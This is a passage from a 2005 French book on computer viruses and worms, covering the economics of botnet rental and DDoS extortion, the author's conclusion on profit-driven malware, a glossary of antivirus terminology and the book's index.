Là ou le bot circule, l’argent circule ! Ceux qui se cachent derrière les robots : • • • • • •
envoient des messages de type spam ou phishing, collectent des adresses e-mails, cherchent les clés de certains logiciels et CD de jeux, mènent des attaques à l’encontre de sites qu’ils rançonnent, capturent des mots de passe, etc.
En novembre 2004, Peter Haag réalisait une étude sur les robots1. Il explique que des millions d’entre eux sont à louer et qu’un grand botnet peut être constitué de plusieurs dizaines de milliers de machines. Ses chiffres sont éloquents ; en voici certains retranscrits par mes soins en Euro : • un accès non exclusif à une machine : 0,15 Euros, 0,33 Euros en mode exclusif, • un réseau de 500 robots : 380 Euros, • la location de 20.000 serveurs relais (proxies) pour spammer vaut 75 Euros par semaine, • les attaques DDOS se négocient entre 38 et 750 Euros.
© Dunod – La photocopie non autorisée est un délit
Tout cela n’est pas de la science-fiction, dans son rapport de criminologie virtuelle2, le docteur Peter Troxler cite une source à Scotland Yard : Des petits groupes de jeunes gens créent des réseaux de 10 000 à 30 000 ordinateurs et les louent à quiconque peut les payer. Selon cette étude, le prix ne dépasse pas les 100 dollars par heure. Les acheteurs et les vendeurs effectuent les paiements via des comptes anonymes ou des transferts de la Western Union. Le rapport cite également le cas de Jay Echouafni. Au cours de l’été 2004, cet homme d’affaires du Massachusetts aux Etats-Unis, a engagé les services de pirates pour lancer des attaques contre des sites web commerciaux de trois de ses concurrents. Un des complices d’Echouafni, appelé Ashley, recruta trois pirates adolescents, répondant aux pseudonymes Emp, Rain et sorCe (Joshua Schichtel, Jonathan Hall et Lee Walker). Le dénommé sorCe, résidant au Royaume-Uni, possédait un botnet constitué de 5 000 à 10 000 ordinateurs. Il les a utilisé pour lancer l’attaque. La mafia utilise aussi ces méthodes pour intimider des entreprises. Plusieurs cas de chantage sont cités dans le panorama de la cybercriminalité 2004 du CLUSIF3. En mars 2004, l’un d’entre eux aurait été organisé par des syndicats du crime opérant à partir de la Russie. Ces membres auraient pris pour cibles des sites web de paris du monde entier et menacé de lancer des attaques par déni de service contre ces sites si leurs propriétaires ne payaient pas une rançon allant parfois jusqu’à 30 000 livres sterling. 1. Peter Haag (SWITCH Security Workshop). Etude reprise par Alain Hugentobler, 14 décembre 2004. http://www.unige.ch/dinf/projets/pres_corres10_14102004/Botnet_10_14122004.pdf. 2. Rapport de criminologie virtuelle McAfee – Février 2005. 3. https://www.clusif.asso.fr/index.asp.
PAGET_Ch10 Page 294 Lundi, 11. avril 2005 5:23 17
294
Chapitre 10. Dernières évolutions et perspectives
Figure 10.25 — Le site du FBI
Pour protéger leurs activités et éviter ces attaques, les bookmakers ont collaboré étroitement avec le NHTCU1. Les maîtres chanteurs présumés ont été arrêtés en Russie en juillet 2004. Le CLUSIF cite aussi l’aventure de BetCBSports en reprenant la copie d’un courriel d’intimidation : « You have 3 choices. You can make a deal with us now before the attacks start. You can make a deal with us when you are under attack. You can ignore us and plan on losing your Internet business. » L’argent attire donc les racketteurs. Les casinos en ligne, les sites de pari, les sociétés de services de paiement en ligne et les grandes entreprises sont aujourd’hui les principales cibles. Demain le phénomène peut s’étendre aux PME et même aux particuliers. Les mafias et autres associations criminelles qui s’engouffrent dans la cybercriminalité ont à leur disposition d’importants moyens financiers. Ils peuvent aussi s’attacher les services de spécialistes qui de gré ou de force devront travailler au développement de nouveaux outils d’attaques. Ceux ci risquent donc de devenir de plus en plus sophistiqués. Après la quantité viendra peut être le temps de la qualité.
1. NHTCU : National Hi-Tech Crime Unit.
PAGET_Ch10 Page 295 Lundi, 11. avril 2005 5:23 17
10.14 Conclusion : la fin de l’enfantillage – L’appât du gain
295
10.14 CONCLUSION : LA FIN DE L’ENFANTILLAGE – L’APPÂT DU GAIN Tous les exemples que j’ai retenus dans ce chapitre nous démontrent que le but d’un virus n’est pas la destruction massive sans discernement. Se cachant derrière de nombreuses gamineries, il semble beaucoup plus réfléchi. Avec FriendGreetings, nous avons vu une dérive anecdotique vers le virus publicitaire. Il a maintenant laissé la place aux adwares et aux spywares. Alors qu’il a fallu une quinzaine d’année pour que la wildlist cite plus de 1500 virus différents, on comptabilise déjà plus de 7000 pubiciels et espiogiciels. L’appât du gain a dopé les concepteurs. Il y a bien sur toujours des joueurs pour qui écrire un programme malveillant n’est qu’un challenge intellectuel ou une manière de chercher une reconnaissance au travers d’un pseudo. L’appât du gain et l’argent facile sont pourtant les principaux motifs des attaques actuelles. Il me semble possible de modéliser la criminalité sur Internet de la manière suivante : • 10 % de joueurs et de jeunes irresponsables, • 60 % de petits indélicats qui espèrent réaliser une fraude mineure, • 30 % d’activité liée au grand banditisme.
© Dunod – La photocopie non autorisée est un délit
Au regard de la majorité des virus présents dans nos TOP-10, les liens qui s’établissent entre les auteurs de virus et les autres acteurs de la criminalité informatique semblent durablement s’intensifier. Des gangs de malfaiteurs organisés et des escrocs professionnels arpentent donc maintenant Internet. Ils recherchent de fonds à soutirer, et toute occasion est bonne à prendre. Les virus qui ont retenu notre attention du fait de leur forte propagation comportaient très souvent divers chevaux de Troie dédiés à des tâches indélicates et frauduleuses. Il n’apparaît plus improbable, ni incongru, qu’un jour ou l’autre certains virus soient clairement utilisés dans des buts criminels en lien avec une idéologie totalitaire ou un certain banditisme en col blanc. Certains d’entre nous voient déjà en W32/Badtrans@MM, W32/Bugbear@MM, W32/Sobig@MM et/ou W32/Mimail@MM les prémices d’un tel changement de cap. Même si ceci n’est pas juridiquement démontré, il est clair que ces virus s’intéressent au domaine financier. Certains états tels que les États-Unis, la Chine ou la Corée du Sud ne cachent plus leur intérêt pour le développement et l’utilisation des nouvelles technologies dans un but offensif. D’autres pays tels que la France et Israël restent plus discrets mais semblent pourtant mener des études en ce domaine. Les récentes attaques qui se sont produites ces derniers mois annoncent peut être une nouvelle destinée pour les virus informatiques : la fin de l’enfantillage et l’entrée de ceux-ci dans la cour des grands.
PAGET_Ch10 Page 296 Lundi, 11. avril 2005 5:23 17
PAGET_Glossaire Page 297 Lundi, 11. avril 2005 5:23 17
Abréviations et glossaire
À LA DEMANDE (On Demand) Mode statique d’analyse anti-virale induite par une action volontaire de l’utilisateur. ADWARE Programme chargé de gérer l’affichage des publicités. Le terme anglais adware est issu de la contraction des mots ADvertising et softWARE. Le terme français est la contraction des mots PUBlicité et logICIEL. AJOUT Qualificatif appliqué aux virus qui ajoutent leur propre code au sein des fichiers qu’ils infectent en entraînant ainsi une augmentation de taille de l’hôte. ALIAS Autre nom sous lequel un virus est connu ; exemple W95/CIH, alias Chernobyl. ANTI-DEBUGGING Qualificatif appliqué aux virus utilisant des séries d’instructions ou algorithmes rendant impossible un désassemblage via les outils dédiés à cet effet. Le chercheur devra neutraliser ces fonctions avant de pouvoir entreprendre sa recherche. APPAT (Bait) Programme leurre utilisé par les chercheurs anti-virus dont la finalité est de se faire infecter. APPENDING Voir Ajout. AVERT (Anti-Virus and Vulnerability Emergency Response Team) Groupe de chercheurs anti-virus attaché au concepteur de produits de sécurité McAfee. http://www.mcafeesecurity.com/us/security/home.asp. BACKDOOR Voir Porte dérobée. BOMBE LOGIQUE Programme contenant une fonction malveillante généralement associée à un déclenchement différé. Cette fonction a été rajoutée de façon illicite à un programme hôte
PAGET_Glossaire Page 298 Lundi, 11. avril 2005 5:23 17
298
Vers & virus
qui conservera son apparence anodine et son fonctionnement correct jusqu’au moment choisi par le programmeur. BOTS (Robots) Programmes malveillants permettant une prise de contrôle à distance de machines vulnérables qui forment un réseau d’attaque (ou botnet). CAIDA (Cooperative Association for Internet Data Analysis) Organisation proposant des outils d’analyse et des études liés à l’infrastructure de l’Internet afin d’en garantir une meilleure robustesse. http://www.caida.org/ CAP Nom attribué à un macro-virus apparu en 1997 et d’origine vénézuélienne. Abréviation de Carlos Andrés Pérez, figure politique du Venezuela CARO (Computer Anti-Virus Researchers Organization) Lieu d’échanges privés entre spécialistes de la lutte anti-virale. L’un de ses rôles est l’unification des noms des virus. Il permet aussi aux spécialistes des échanges rapides et sécurisés. Il n’a aucune ouverture vers le public et les médias. CERT (Coordination center computer Emergency Response Team) http://www.cert.org En France, le CERT-IST (Computer Emergency Response Team – Industrie, Services et Tertiaire) est une association de Loi 1901, qui a pour vocation d’assurer pour ses adhérents des services de prévention des risques et d’assistance aux traitements d’incidents. Le CERT-IST est un centre d’alerte et de réaction aux attaques informatiques destiné aux entreprises françaises. http://www.cert-ist.com CHARGE FINALE (Payload) Fonction malveillante généralement attribuée à un virus et se déclenchant, ou non, sur un critère donné (gâchette). CHEVAL DE TROIE (Trojan Horse) Programme en apparence inoffensif contenant une fonction illicite cachée et connue de l’attaquant seul. Cette fonction est utilisée notamment pour pénétrer par effraction dans l’ordinateur et consulter, modifier ou détruire des informations. CLUSIF (CLub de la Sécurité des Systèmes d’Information Français) Fondée en 1984, le CLUSIF est une association loi de 1901 qui regroupe des personnes travaillant au sein d’entreprises utilisatrices dans tous les secteurs de l’industrie et des services, ou d’organismes publics, aussi bien que dans des entreprises ayant une offre commerciale autour de la sécurité des systèmes d’information. www.clusif.asso.fr. COMPAGNON Qualificatif appliqué aux virus plaçant leur code dans un fichier séparé qui, malgré une extension différente, porte le même nom que le fichier cible.
PAGET_Glossaire Page 299 Lundi, 11. avril 2005 5:23 17
299
Glossaire
CONTROLE D’INTÉGRITÉ Processus de surveillance consistant à établir, pour chaque élément réputé sain, un traitement mathématique aboutissant à une « photographie de référence » (ou code checksum, CRC), pour la comparer au fil du temps avec l’image du moment. COOKIE Témoin de connexion. Élément d’information transmis lors de la visite d’un site Web. Sauvegardé sur l’ordinateur de l’internaute, il pourra être consulté par le serveur distant lors de visites ultérieures. COURRIER NON SOLLICITÉ Voir Spam. CRYPTE Qualificatif s’appliquant aux virus se décomposant en deux parties : un programme de décryptage stable et une suite d’instructions cryptées qui forment le corps du virus. DDoS (Distributed Denial of Service) Déni de Service Distribué, attaque par saturation. Attaque informatique visant à générer des arrêts de service depuis des ordinateurs différents. DÉFENSIF Qualificatif s’appliquant aux virus ayant des fonctions de protection, voire d’attaque, contre les logiciels antivirus non à jour au moment de leur apparition. DÉLOCALISÉ Qualificatif s’appliquant aux virus programmes plaçant leur code dans des secteurs inutilisés du disque. Ils changent ensuite les paramètres des répertoires pour re-diriger le lancement du programme vers le code viral. Sans la moindre modification interne, l’ensemble des fichiers infectés possèdent donc tous la même adresse (cluster) de départ. DIALER Logiciel de connexion téléphonique. DoS © Dunod – La photocopie non autorisée est un délit
Déni de Service, attaque par saturation. DROPPER Programme malveillant capable d’implanter un virus en mémoire ou dans une cible initiale. EICAR (European Institute of Computer Anti-virus Research) Association d’envergure européenne regroupant des universitaires, des industriels et des experts civils et militaires ; tous décidés à lutter contre l’écriture, la prolifération et l’utilisation des virus et autres programmes malveillants portant atteinte à la sécurité individuelle et collective. http://www.eicar.org ESPIOGICIEL Voir Spyware. EXPLOIT Programme ou technique permettant d’utiliser une vulnérabilité découverte au sein d’un logiciel informatique prédéfini.
PAGET_Glossaire Page 300 Lundi, 11. avril 2005 5:23 17
300
Vers & virus
FIREWALL (Pare-Feu) Système de protection placé en amont d’un réseau pour assurer la sécurité des informations par filtrage des entrées et contrôle des sorties selon des procédures automatiques établies. FLOODING (Inondation) Déni de Service qui consiste à inonder un serveur de milliers de paquets IP de grosse taille, dans le but de le saturer et d’entraîner sa défaillance. FURTIF Qualificatif s’appliquant aux virus camouflant leur présence en renvoyant à chaque requête du système d’exploitation une information erronée et conforme à celle qu’il devrait recevoir dans un environnement sain. GACHETTE (Trigger) Critère prédéfini induisant l’activation d’une fonctionnalité malveillante (payload) parfois associée à un virus. GÉNÉRATEUR DE VIRUS Programme permettant la fabrication aisée de virus en choisissant interactivement des caractéristiques parmi différentes options proposées. GÉNÉRATEUR DE CHIFFREMENT (Mutation Engine) Programme qui, appliquée à un virus existant, le crypte avec un module lui-même variable (polymorphie). GÉNÉRIQUE (analyse) Méthode de détection issue de la recherche par signature dont les critères de recherche ont été étendus afin de permettre la détection de l’ensemble des virus d’une même famille, que ceux ci soient connus ou inconnus. HEURISTIQUE (analyse) Méthode de détection qui repose sur l’analyse des fonctionnalités d’une infection et non sur la recherche d’une signature virale. Le processus s’applique à trouver des instructions suspectes et des anomalies structurelles de fichiers laissant supposer la présence d’un programme auto-reproducteur. HOAX Voir Rumeur. INFECTEUR RAPIDE (Fast Infector) Virus ayant un propagation très rapide. Une fois en mémoire, il est à même d’infecter un fichier lors d’une simple manipulation. Pour ces virus, il n’est pas indispensable d’exécuter un fichier sain pour l’infecter, une simple copie d’un répertoire vers un autre s’avère suffisante. INFOVIRUS Voir Observatoire virus. ITW (In-The-Wild) Abréviation créée et utilisée par la WildList Organization International indiquant qu’un virus informatique a été rencontré « dans la nature » par certains de ses correspondants. http://www.wildlist.org/.
PAGET_Glossaire Page 301 Lundi, 11. avril 2005 5:23 17
Glossaire
301
KEYLOGGER Voir Renifleur de clavier. LETTRE CHAÎNE Message s’appuyant sur la crédibilité des destinataires. Il fait appel à la piété, la générosité et/ou la superstition et fait éventuellement miroiter un enrichissement personnel. MACRO-VIRUS Virus utilisant les macro-commandes intégrées aux logiciels de bureautique tels que ceux des suites Office de Microsoft. Ces routines se retrouvent incorporées au sein des fichiers de données (traitement de texte, tableur…) et se propagent avec eux. MASS-MAILER Virus utilisant la messagerie électronique pour se propager. MONITEUR DE PROGRAMME Processus d’analyse dynamique des opérations de lecture et d’écriture en mémoire. Les accès disques et les fonctions système sensibles sont surveillés. En cas de doute elles seront interdites ou nécessiteront une autorisation préalable de l’utilisateur. MULTIPARTITE Qualificatif dédié aux virus infectant à la fois les zones système et les fichiers. MUTATION ENGINE Voir Générateur de Chiffrement. NUKER Outil de plantage Windows entraînant, par exemple, l’affichage du fameux « écran bleu » qui oblige à redémarrer le système.
© Dunod – La photocopie non autorisée est un délit
OBSERVATOIRE VIRUS Structure d’information crée par le CLUSIF afin de suivre l’évolution du phénomène virus en France. Les données résultantes de ces études sont disponibles sur le site Infovirus. https://www.clusif.asso.fr/fr/production/infovir/ OPCODE Élément déterminant d’une instruction en assembleur qui la définie et la différencie sans ambiguïté. Il s’agit souvent du premier ou des 2 premiers octets (code hexadécimal) d’une instruction. PARE-FEU Voir Firewall. PASSWORD STEALER Voir Renifleur de mot de passe. PATCH Petit programme destiné à apporter des améliorations à un programme ou à corriger des bogues de fonctionnement. PAYLOAD Voir Charge Finale.
PAGET_Glossaire Page 302 Lundi, 11. avril 2005 5:23 17
302
Vers & virus
PE (Portable Executable) Format de fichiers exécutables propre aux systèmes d’exploitation Microsoft depuis Windows95. POLYMORPHE Qualificatif appliqué aux virus changeant leurs instructions ou simplement l’ordre de celles-ci à chaque infection. Il correspond en fait à un virus crypté ayant intégré dans son programme de décryptage un algorithme de mutation. PORTE DÉROBÉE (Backdoor) Programme implémenté secrètement sur une machine et permettant ensuite à son concepteur de s’y introduire à distance. PROGRAMME (virus) Virus, dont le vecteur de contamination principal est constitué par les exécutables. PUBICIEL Voir Adware PWS (PassWord Stealer) Voir Renifleur de mot de passe. RECOUVREMENT Qualificatif appliqué aux virus qui écrasent avec leur code tout ou partie des fichiers qu’ils infectent. RENIFLEUR DE CLAVIER (Keylogger) Programme dédié à la capture d’informations. Frappées au clavier, celles ci sont enregistrées en continue ou selon des critères prédéfinis. Elles sont ensuite retransmises au pirate qui souhaite se les approprier. RENIFLEUR DE MOT DE PASSE (Password Stealer, PWS) Programme dédié à la capture de mots de passe. Ceux-ci sont enregistrés lors de la frappe au clavier puis retransmis par un moyen quelconque au pirate qui souhaite se les approprier. RÉSIDENT (TSR – Terminate and Stay Resident) Qualificatif s’appliquant aux programmes restant actif en mémoire après leur exécution. Ils peuvent ainsi interagir, en temps réel, avec des événements intervenants sur la machine. RETRO-VIRUS Voir Défensif. ROBOTS Voir Bots. RUMEUR (Hoax) Information malveillante et non fondée qui, dans le contexte de ce livre, est diffusée par courrier électronique, dans le but d’effrayer le destinataire ou de nuire à une personne ou un organisme.
PAGET_Glossaire Page 303 Lundi, 11. avril 2005 5:23 17
Glossaire
303
RTM (Robert Tappan Morris) Nom donné au ver qui affecta Internet le 2 novembre 1988. En relation directe avec le nom de son auteur. SANDBOX (Bac à Sable) Environnement protégé dont un programme, même malveillant, ne peut en théorie pas s’échapper durant son exécution pour causer un dommage sur le système environnant. Le concept a été popularisé par l’environnement d’exécution protégé des applets Java. SCAM AFRICAIN Message proposant un montage financier attractif derrière lequel se cache une escroquerie qui s’articule généralement autour d’une demande d’avance de fond de la part de la victime. SCANNER Logiciel antivirus fonctionnant par reconnaissance de signatures simples ou complexes. SCRIPT (virus de) Virus écrit en langage interprété (exemple : Visual Basic Script ou JavaScript) à l’aide de combinaisons de commandes et d’instructions préétablies. SIGNATURE DE CONTAMINATION Technique par laquelle le virus est en mesure de déceler sa propre présence pour se prémunir d’une double installation en mémoire vive ou d’une surcontamination sur un fichier ou une zone système. Le virus utilise généralement une suite hexadécimale de caractères ou des spécificités qu’il apporte dans la définition de la date du fichier qu’il infecte.
© Dunod – La photocopie non autorisée est un délit
SIGNATURE DE DIAGNOSTIC Suite de caractères hexadécimaux permettant de caractériser la présence d’un virus et le distinguant de toute autre infection. Séquence utilisée par les logiciels fonctionnant par recherche de signature. SMURFING Attaque en déni de service (DoS) consistant à envoyer massivement des requêtes ICMP echo-request. SNIFFER Logiciel renifleur de trafic permettant l’interception des trames et leurs analyses. SPAM Courrier non sollicité, polluriel. Message à caractère commercial s’appuyant éventuellement sur une usurpation d’adresse électronique. SPOOFING Usurpation d’adresse IP. Technique consistant à usurper l’identité d’un utilisateur autorisé du réseau en falsifiant son adresse IP. SPYWARE (Espiogiciel) Programme espion, qui recueille et transmet à une régie publicitaire, à insu de l’internaute et sans sa permission, des données personnelles, notamment sur ses intérêts et ses habitudes de navigation.
PAGET_Glossaire Page 304 Lundi, 11. avril 2005 5:23 17
304
Vers & virus
SYSTÈME (virus) Virus dont le vecteur de contamination est le secteur de partition ou le secteur de démarrage des disques durs et des disquettes. TEMPS RÉEL (On Access) Mode dynamique d’analyse anti-virale effectuée par l’entremise d’un module résident chargée au démarrage de la machine. Chaque fichier faisant l’objet d’une demande d’accès par le système est analysé. TOP-10 Liste des 10 virus les plus fréquemment rencontrés dans la nature (In-The-Wild) dans une période donnée. TRIGGER Voir Gâchette. TROJAN Voir Cheval de Troie. VARIANTE Virus créé sur le même modèle qu’un précédent virus. VCI (Virus Communication Interface) Interface imaginée par les auteurs de virus pour favoriser les échanges d’information entre les virus et leurs donner des ordres. VER (Worm) Programme capable de se propager de machine en machine au travers des connexions réseau et de manière indépendante. VIRUS Programme capable d’infecter d’autres programmes en les modifiant pour y inclure une copie de lui-même. WILDLIST Organisme international qui a pour but de recenser l’ensemble des virus dans la nature (In-The-Wild) au niveau mondial. La collecte s’effectue grâce à de nombreux chercheurs répartis sur les cinq continents. Les statistiques sont mensuelles. http://www.wildlist.org/ WORM Voir Ver. ZOMBIE Machine dont on a pris le contrôle pour réaliser une attaque telle qu’un Déni de Service Distribué (DDoS – Distributed Denial of Service). Ce terme est souvent utilisé comme synonyme de robot. ZOO Collection virale.
PAGET_Index Page 305 Lundi, 11. avril 2005 5:22 17
Index
Nombres 097M/TRISTATE 72 1260 54 20/20 22 29A 73, 104, 130, 179, 283, 284 3APA3A 62 40Hex 60, 61
A A2KM/Sadip@MM 217 A97M/Accessiv 217 A97M/Cross 218 A97M/Tox 218 Adam Levitt 38 Adware 22 AIDS-II.8064 57 ajout 159 Alameda 51 Alan Solomon 49, 54, 58 Anticmos 69 154 Anti-Congo 41 anti-debugging 101 Antiexe 69, 89 anti-virus 221, 231 Anti-Virus Toolkit from S&S 49 appender 160 Applets Java hostiles 28 APStrojan@MM 209 ARCV 63 Arj-virus 62 Arthur Burks 36
AVERT 64, 83 AVP 50
B Baby 109 Back Orifice 31 backdoor 26 BackDoor-JW 29 BadGuy 158 BatMan 62, 220 BBS 53 Beast 58 Benny 104, 283 BHO 23 BIOS 133, 136 Bit Addict 60 Bizatch 66 Black Baron 60, 63 Black Wolf 60 blended threat 107 bombe logique 25 BOOT 88 Boot Sector 88, 132 botnet 292 Brain 45, 46, 51 buffer overflow 209
C C-4 48 canulars 18 CARO 58, 107, 111, 125 Cascade 47, 49, 51, 109, 161 cavité 162, 187
Chameleon 54 checksum 48 Chen Ing-hau 70 Cheval de Troie 26, 112 Chile Mediera 104 Chk4Bomb 48 Christoph Fischer 58 Civil_War 110 CLUSIF 2, 49, 76, 254, 263, 293 cluster 139, 164 CNIL 11 cocktail 107 code checksum 228 code complémentaire 136, 142, 148, 152, 153 CodeBlue.worm 287 CodeRed 268 Columbus Day 49 Commander Bomber 54, 62 compagnons 164 contrôle d’intégrité 48, 228 Core War 37 CPW 104 Craig Schmugar 83 CreateObject 196 CREEPER 37 Cruncher 61 cryptage 47, 102, 215
D DAME 60 Dark Angel 60
PAGET_Index Page 306 Lundi, 11. avril 2005 5:22 17
306
Vers & virus
Dark Avenger 53 Dark Slayer 60 Datacrime 48, 51 David Gerrold 39 David L. Smith 75 DDM 13 débordement de tampon 209 délimiteurs 111 délocalisé 57, 164 Den Zuko 47, 51, 153 deni de service (DoS) 32 déni de service distribué (DDoS) 33 dévolution 111, 122 DGME 60 dialers 30 DIR-II 57 Dmsetup.worm 203 DMU 60 DMV 64 Dr Solomon 70, 74 dropper 79, 89, 112 DSME 60 dump mémoire 113 duplication 94
E Eddy Willems 59 EDV 151 EICAR 58 eicar.com 251 Elk Cloner 40 en-tête des sections 170 en-tête MS-DOS 167 en-tête optionnelle 168 en-tête PE 167 entrelacement 162 EntryPoint RVA 169 Eudora 210 Eugène Kaspersky 50, 62, 287 EXEBug 62, 150 Executable Linkable Format 94 exploit 271
F farces 18 fast infector 53 Father Christmas Worm 44 Flip 55, 154 flooding 32 Flu_shot 48 Form 69, 89, 142, 153 F-Prot 50 F-PROT Development 64 fractionnement 163 fraude 419 14 Fred Cohen 34, 41 Fridrik Skulason 47, 50, 58, 107 FriendGreetings 289 Frodo 57, 107 Frogbender 18 FSMN 111 Fu Manchu 51 furtivité 45, 55, 57, 61, 106, 151, 215, 218
G Gaobot 267, 291 garbage 113, 181 GenB 109 générateurs de virus 59 GenP 109 Genvirus 59 Good Times 64 Gotcha 54, 110 GP1 57 Grammersoft 78 GriYo 104 GT-Spoof 64 Gunther Musstopf 58 Gunther von Gravenreuth 58
H Hackers 47 Happy-99 72 HLL.C 109 HLL.ow 109
HLLC 109 HLLO 109 HLLP.Toadie@MM 199 HLLT/Toadie@MM 98 HLLW.Idomoshe 96 hoax 6, 64 Homepage 80, 91 Horse Boot 89 Hyjackers 23
I IBM Christmas Tree 43 IBM V SCAN 49, 50 Image Base 169 implanteurs 89, 112 infecteur rapide 53, 55, 107 injecteurs 89, 112 Instant Messenger 209 intended 112, 125 interruptions 134 Intruder 56 IRC 203 IRC/Acoragil 203 IRC/Theme.worm 203
J Jan Hruska 54 JavaScript 91 Jérusalem 46, 48, 49, 51, 109, 160 Jimmy Kuo 65 Joe Wells 56, 63 John Brunner 39 John Louis von Neumann 35 John McAfee 48, 50 John Shoch 34, 38, 40 jokes 18 Jon Hupp 34, 38, 40 JS/Kak@M 72, 78, 80, 91, 98, 194 JS/TheFly@MM 91, 98 JUMPER 69 Jumper.B 69, 89, 148, 153 JUNKIE 69
PAGET_Index Page 307 Lundi, 11. avril 2005 5:22 17
307
Index
K keylogger 27 KeyLog-SSKC 27 Kilroy 56 kit 112 Klaus Brunnstein 58
L Lehigh 46, 51, 162 lettres chaînes 8 Linear Executable 94, 127 Linux 129 Linux/Bliss 130 Linux/Etap 130 Linux/Radix.ow 158 Linux/Simile 130 Lovsan 81
© Dunod – La photocopie non autorisée est un délit
M MAC/Simpsons@MM 98 Macintosh 128 MacOS/Autostart 128 MacOS/Simpsons@MM 128 macro-virus 51, 65, 67, 72, 90, 194, 211, 261 Mafia.a 27 Maltese Amoeba 55 Manta 60 MAPI 206 Marc Blanchard 283 Marijuana 47 Marius Van Oers 65 Mark Ludwig 56, 60 mass-mailer 72, 80, 94, 97, 112, 124, 128, 196, 261 Mass-Produced Code Generator 60 Master Boot Record (MBR) 88, 132 Masud Khafir 54, 60, 61 MBR 88 McAfee 64 McAfee Associates 69 Mental Driller 130 MessageLabs 83 métamorphisme 103 Michael Weiner 58 Michelangelo 59
micro-programme mode réel 167 Mikko Hypponen 104 Mini 109 Minimal 109 minus-virus 50 Moloch 154 moniteur de virus 225 monitoring de programme 48, 231 Monkey 63, 69, 152 Morton Swimmer 58 Mozilla 248 MtE 110 MtE.Pogue 54 MTX_II 79 multi-application 213 multipartite 54, 57, 61, 89, 154, 213, 218 Murphy 58 Mutation Engine 53
N Natas 61 NetBus Pro 32 Network Associates Inc. 69 Neurobasher 62, 105 New Executable 92 Nick FitzGerald 111, 196 NNTP 210 nom de famille 108, 120 nom de groupe 109, 121 Nomenclatura 58 Norton Antivirus 56 Nowhere Man 60 NuKE 60 nuker 33
O O97M/Cybernet@MM 98 O97M/Shiver 196 O97M/Tristate 114, 196 Objets Active-X hostiles 29 offset 146 oligomorphiques 102 Omicron 55 One_Half 61, 89, 154, 162 Onel de Guzman 76
opcodes 102, 181 OS/2 127 OS2.AEP 67 OS2/AEP 127 OS2/DA 67 OS2/Jiskefet 127 OS2/Myname 127 OS2first 67
P P97M/Phlaco 216 P97M/Yesi 216 PalmOS/Phage 79 pare-feu 236 Parity Boot 69, 89 partition récursive 153 PassWord Stealer (PWS) 27, 280 Paul Ducklin 58 Paul Langemeyer 58 payload 33, 104 PDF 199 Peach 106 Pegasus 199, 210 Peter Denning 34 Peter Haag 293 Peter Troxler 293 Phalcon/Skism 60 phishing 15, 293 PIF 246 PIF/Fable@MM 98 Ping-Pong 46, 51 plate-forme 113 plug-ins 284, 285 Ply 102 Pogue 110 point d’entrée obscur 159, 184 polymorphie 53, 54, 55, 61, 62, 63, 103, 154, 180, 216 Porn-Dialer 30 Portable Executable 93, 165 porte dérobée 26, 277 poste à poste 81, 99, 201, 208 Prank 65 prepender 160 prévisualisation 194 Priest 61 programmes simples 19 propagation 94
PAGET_Index Page 308 Lundi, 11. avril 2005 5:22 17
308
Vers & virus
Proxy-Guzu 30 PS-MPC 60 PWS-Hooker.dll 27, 281
Q Qark 64 Quantum 66
R Rabbit 71 Rainbow 63, 152 Randex 291 rang de variante 109, 110, 111, 122 Real-Mode Stub Program 167 REAPER 37 recherche générique 225 recherche heuristique 229 recherche par signature 222 recouvrement 158 récursivité 112, 125 renifleur de clavier 27, 281 renifleurs de mot de passe 27, 280 renifleurs de trafic 32 rétro-virus 62, 104 RHINCE 64 robots 267, 291 Roger Riodan 59 Roger Riordan 50 RTF 287 RTM Worm 43 rumeurs 6 Rush Hour 46 RVA 169
S Sarah Gordon 65, 67 Satanbug 106 scam africain 14 ScanProt 65 Sdbot 267 secteur de démarrage 88, 109, 132 secteur de partition 88, 109, 132 secteur logique 137, 139, 146 secteur physique 137, 146
Sendkeys 195 Sentry 48 ShellScrap 246 Shifting Objectives 62 SHS 246 signature du virus 160 Silly 109 singularité 108, 110, 112, 123 Slider joke 18 Small 109 SMEG 60 SMEG-Pathogen 63 SMTP 204 smurfing 32 Sniff-ICQ.WPD 32 socket 205 Socket de Troie 31 Socket23 278 Sophos 54 spam 293 spamming 11 Spanska 72 spoofing 32, 205 Spybot 267, 291 Spyware 23 Staog 67 Starship 57 Stealth 56 Stoned 46, 51, 59, 69 Stoned-Spirit 153 Stream NTFS 191 SubSeven 285 Symantec 56
T table d’allocation des fichiers (FAT) 140 taille 121 TbScan 229 Tchernobyl 70 Tequila 55, 89, 106, 154 Thomas Ryan 40 Thread Local Storage 189 Timid 56 Tiny 58, 109 TLS 189 TPE 60 TPE.1_0.Girafe 60 trashbin 113
Tremor 62, 105 TridenT 54, 60 trigger 33 Trivial 108 trojan 20, 26, 112
U Ultimate Mutation Engine 60 Univ 109 Unix 129
V V2P1 54 Vaccine 54 VBS/BubbleBoy@MM 78, 195 VBS/Davinia@MM 30 VBS/Entice.ow 158 VBS/FreeLink@MM 91, 98 VBS/GWV 99, 201 VBS/LifeStages@MM 246 VBS/Loding 198 VBS/LoveLetter@MM 6, 72, 75, 91, 197 VBS/Monopoly@MM 91 VBS/Netlog 96, 201 VBS/Peachy@MM 197, 199 VBS/Sludge.worm 201 VBS/Stages@MM 72 VBS/Tam@MM 80 VBS/Timofonica@MM 79 VBS/TripleSix@MM 91 VBS/VBS@MM 80 VBS/VBSWG@MM 91 VBS/Vierika 198 VBS/Wobble@MM 6 VBS/XPMsg@MM 29 VBSV 71 VCL 60 VCS V1.0 60 Vecna 284 ver 34, 39, 94, 193 vers automatiques 100, 209 Vesselin Bontchev 50, 53, 57, 58, 64, 107, 125 Vet (Cybec) 50 VGREP 120 VicodinES 75, 218 Vienna 46
PAGET_Index Page 309 Lundi, 11. avril 2005 5:22 17
309
Index
VIRDEM 46 Virtran 54 virus 34, 39, 94, 112 virus Batch 92 Virus Bulletin 52 Virus Communication Interface (VCI) 283 virus compagnon 57 virus de script 71, 72, 90, 91, 158, 194, 211, 219, 261 virus défensif 104 virus interprètes 89 virus multipartite 87 Virus Patrol 74 virus programme 70, 80, 92, 157 virus système 45, 69, 88, 131 VIRUS-L 53 VirusScan 50, 69 VLAD 67 VLAD#4 64 VME 60 vulnérabilité 209, 271
© Dunod – La photocopie non autorisée est un délit
